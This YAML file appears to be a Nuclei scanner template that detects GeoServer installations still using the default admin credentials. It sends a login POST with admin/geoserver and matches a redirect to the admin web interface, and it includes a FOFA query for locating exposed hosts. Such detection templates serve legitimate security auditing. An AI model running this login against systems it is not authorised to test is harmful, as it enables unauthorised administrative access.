47 lines
1.0 KiB
YAML
47 lines
1.0 KiB
YAML
id: geoserver-default-login
|
|
|
|
info:
|
|
name: Geoserver Default Admin Login
|
|
author: For3stCo1d
|
|
severity: high
|
|
description: Geoserver default admin credentials were discovered.
|
|
reference:
|
|
- http://geoserver.org/
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
|
|
cvss-score: 8.3
|
|
cwe-id: CWE-522
|
|
metadata:
|
|
fofa-query: app="GeoServer"
|
|
tags: geoserver,default-login
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /geoserver/j_spring_security_check HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username={{user}}&password={{pass}}
|
|
|
|
attack: pitchfork
|
|
payloads:
|
|
user:
|
|
- admin
|
|
pass:
|
|
- geoserver
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "contains(tolower(location), '/geoserver/web')"
|
|
- "!contains(tolower(location), 'error=true')"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 302
|
|
|
|
# Enhanced by mp on 2022/03/28
|